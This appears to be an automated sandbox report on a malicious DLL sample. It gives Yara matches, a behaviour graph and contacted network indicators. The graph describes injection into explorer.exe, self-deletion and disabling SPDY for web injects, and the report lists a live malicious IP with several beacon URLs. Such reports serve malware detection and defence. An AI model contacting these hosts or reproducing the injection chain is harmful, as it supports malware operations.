Source: Yara match File source: 00000002.00000003.376565939.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.425214874.0000000004FBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423746626.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376373630.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5600, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 492, type: MEMORYSTR
Source: Yara match File source: 2.2.rundll32.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.51394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000003.539442937.0000000004D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.541455340.0000000004E3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490107401.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490844761.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.542153003.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423030052.00000000050BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.492781969.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423208841.0000000005139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 620327 Sample: qOfIxt1fnQ.dll Startdate: 04/05/2022 Architecture: WINDOWS Score: 100 52 Snort IDS alert for network traffic 2->52 54 Found malware configuration 2->54 56 Multi AV Scanner detection for submitted file 2->56 58 2 other signatures 2->58 9 loaddll32.exe 1 2->9         started        11 mshta.exe 19 2->11         started        process3 process4 13 cmd.exe 1 9->13         started        15 powershell.exe 33 11->15         started        signatures5 18 rundll32.exe 1 6 13->18         started        72 Injects code into the Windows Explorer (explorer.exe) 15->72 74 Writes to foreign memory regions 15->74 76 Modifies the context of a thread in another process (thread injection) 15->76 78 2 other signatures 15->78 22 explorer.exe 1 3 15->22 injected 24 csc.exe 3 15->24         started        27 csc.exe 3 15->27         started        29 conhost.exe 15->29         started        process6 dnsIp7 50 185.189.151.28, 49773, 80 AS-SOFTPLUSCH Switzerland 18->50 60 System process connects to network (likely due to code injection or exploit) 18->60 62 Writes to foreign memory regions 18->62 64 Allocates memory in foreign processes 18->64 70 3 other signatures 18->70 31 control.exe 18->31         started        66 Self deletion via cmd delete 22->66 68 Disables SPDY (HTTP compression, likely to perform web injects) 22->68 34 cmd.exe 1 22->34         started        36 RuntimeBroker.exe 22->36 injected 46 C:\Users\user\AppData\Local\...\zek5yaft.dll, PE32 24->46 dropped 38 cvtres.exe 1 24->38         started        48 C:\Users\user\AppData\Local\...\zbedhqob.dll, PE32 27->48 dropped 40 cvtres.exe 1 27->40         started        file8 signatures9 process10 signatures11 80 Changes memory attributes in foreign processes to executable or writable 31->80 82 Injects code into the Windows Explorer (explorer.exe) 31->82 84 Writes to foreign memory regions 31->84 90 4 other signatures 31->90 86 Uses ping.exe to sleep 34->86 88 Uses ping.exe to check the status of other devices and networks 34->88 42 conhost.exe 34->42         started        44 PING.EXE 1 34->44         started        process12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.189.151.28
 unknown Switzerland
51395 AS-SOFTPLUSCH true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.189.151.28/drew/G9Zl6xXWK7/sq6mJwqNR6fvih_2F/3BlWMH0TTomc/U1aMCISKVce/sD1_2BamSatrUi/mArOkW2r7_2B0uc5NIyZ1/fqCKZKNfwHwtB7N_/2BOdKH9zPCcKh5j/aH7OQyg_2B7xMhAY1R/xlVSoeftX/sTSsZsRI3rAEzydEwaZ5/9QwFFn9O9UzVILrRbdl/7UPI548brok0gcZoBkvtCI/1vWqX_2Bjtpxo/llnrjwNT/qDZ6Nfo6aLVU8WQtuO_2FVg/zPD0a3AU1_/2BluOSPr1CN4zp_2B/j9DB_2Fzln/wTp23X8qY/8v5Y.jlk true
  • Avira URL Cloud: safe
 unknown
http://185.189.151.28/drew/jXEA7ByXkNY6ttIyk/c1_2FpaHGG8A/Yx7P_2FoAZx/2kWyqwCGw_2Fq6/CqvTpauiAtq1S6NEfUFGz/azQBCUCEVQkwLO92/zmVyPCpquTYZDzt/P2EwT8kh0KHu8Lbvc2/Ag_2FS5Oy/Bwa_2FhroFaW1JJ7Yi_2/FCwhCYTX1vsSGLasuXt/5_2FN41F2ddMFyf13Vxa_2/FlhkTkOugqgwW/2xYMihrB/d1UYCEPSvlBu19hXDBks3k1/KTXlXsgnHu/yq5ztS0tgrWgRYyLM/xsuyeva.jlk true
  • Avira URL Cloud: safe
 unknown
http://185.189.151.28/drew/yTRJAUZiMQ_2FTcjFd/OV31p2h1j/mj3Z9n_2BOBKbildEj82/DKgORp8r4Xx_2BnVgp_/2F_2F_2BvQg_2BZVCdBCQi/QtPh_2BkpemuH/LSUbfgED/uR6Ni2U_2B2TrekewEGTeeM/QVV2Ymg6iJ/T2mSA6ICc_2Fr99oW/m0E6ateNanP0/G9bVGRc76Wh/i2tCqLMog2Cd2S/BjsyNkJBT9sJ3ChkZSwYM/3GFd1ud_2Fz_2BWJ/ABPbUtrh_2BqYag/UdccpuDhsuWiS1djZj/kqFinK56w/1Yn7inetR1GAB9jPIhty/UC9Ej8wR/j.jlk true
  • Avira URL Cloud: safe
 unknown